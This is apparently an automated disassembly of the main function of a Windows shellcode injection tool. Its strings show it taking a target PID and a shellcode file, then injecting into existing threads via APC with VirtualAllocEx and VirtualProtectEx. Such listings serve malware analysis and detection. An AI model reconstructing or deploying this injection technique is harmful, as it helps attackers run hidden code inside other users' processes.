Function at 0x14000c6f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x140049540]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rdx
mov ebx, ecx
lea rdx, str.Thread_Name_Calling_injection_n
lea rcx, [0x14004ab50]
call fcn.140001230
lea rbp, [0x140049010]
mov rdi, qword [0x140049510]
cmp ebx, 2
jge 0x14000c76f
lea rdx, str.Arg__PID___shellcode_file
lea rcx, [0x14004ab50]
call fcn.140001230
lea rdx, [0x140037c34]
lea rcx, [0x14004ab50]
call fcn.140001230
xor eax, eax
jmp 0x14000caf1
jle 0x14000c7ec
mov r14, qword [rsi + 0x10]
lea rdx, [0x140037b20]
mov rcx, r14
call fcn.14001bb04
mov rbx, rax
test rax, rax
je 0x14000c980
xor edx, edx
mov r8d, 2
mov rcx, rax
call fcn.14001c160
mov rcx, rbx
call fcn.14001c828
movsxd rdi, eax
mov edx, 1
mov rcx, rdi
call fcn.140015ba0
mov rbp, rax
test rax, rax
je 0x14000c980
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14001c160
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rbp
call fcn.14001bd7c
mov rcx, rbx
call fcn.14001b9b0
lea rdx, str.___Inject_into_existing_threads_n
lea rcx, [0x14004ab50]
call fcn.140001230
lea rdx, str.___Using_old_API_for_APC_n
lea rcx, [0x14004ab50]
call fcn.140001230
lea rdx, str.___The_shellcode_will_be_run_from_the_heap_n
lea rcx, [0x14004ab50]
call fcn.140001230
lea rdx, str.___Using_VirtualProtectEx_VirtualAllocEx_n
lea rcx, [0x14004ab50]
call fcn.140001230
mov rdx, qword [rsi + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
xor ebx, ebx
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], bl
jne 0x14000c860
lea rcx, [rsp + 0x130]
call fcn.140001520
nop
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400098b0
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call fcn.1400046d0
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 0xf
cmova rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0x40]
call fcn.140006c00
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1400064b0
nop
lea rcx, [rsp + 0x30]
call fcn.140009f80
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 0xf
jbe 0x14000c92b
inc rdx
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c926
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb19
call fcn.14000f8a8
lea rdx, str.Supplied_PID:
lea rcx, [0x14004ab50]
call fcn.140001230
mov rcx, rax
mov ebx, dword [rsp + 0x20]
mov edx, ebx
call fcn.1400032c0
mov rcx, rax
lea rdx, [0x140037b24]
call fcn.140001230
test ebx, ebx
jne 0x14000ca1f
lea rdx, str.Invalid_process_ID_supplied..._n
lea rcx, [0x14004ac80]
call fcn.140001230
mov eax, 0xffffffff
jmp 0x14000caf1
lea rdx, str.Failed_loading_shellcode_from_file:
lea rcx, [0x14004ac80]
call fcn.140001230
mov rcx, rax
mov rdx, r14
call fcn.140001230
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rbx, qword [rcx + 8]
mov qword [rsp + 0x138], rbx
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x130]
call fcn.1400024a0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
test rbx, rbx
je 0x14000ca01
mov r8, qword [rbx]
mov rcx, rbx
call qword [r8 + 0x10]
test rax, rax
je 0x14000ca01
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, sil
mov rcx, rdi
call fcn.140005db0
mov rcx, rdi
call fcn.140005820
mov eax, 0xffffffff
jmp 0x14000caf1
mov ecx, ebx
call fcn.140005b00
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000cad9
mov rcx, rax
call fcn.140005950
test rax, rax
je 0x14000caec
mov r9, rax
mov r8, rdi
mov rdx, rbp
mov rcx, rbx
call fcn.140005b20
mov rsi, rax
lea rdx, str.Received_pointer:
lea rcx, [0x14004ab50]
call fcn.140001230
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov ecx, dword [r8 + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [r8 + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140009d00
mov rcx, rax
lea rdx, [0x140037b24]
call fcn.140001230
test rsi, rsi
jne 0x14000caad
xor al, al
jmp 0x14000cabe
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.14000bfd0
test al, al
je 0x14000caec
lea rdx, str.___Done_n
lea rcx, [0x14004ab50]
call fcn.140001230
xor eax, eax
jmp 0x14000caf1
lea rdx, str.Opening_process_failed__n
lea rcx, [0x14004ac80]
call fcn.140001230
mov eax, 0xfffffffe
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000f9c0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.1400156c4
int3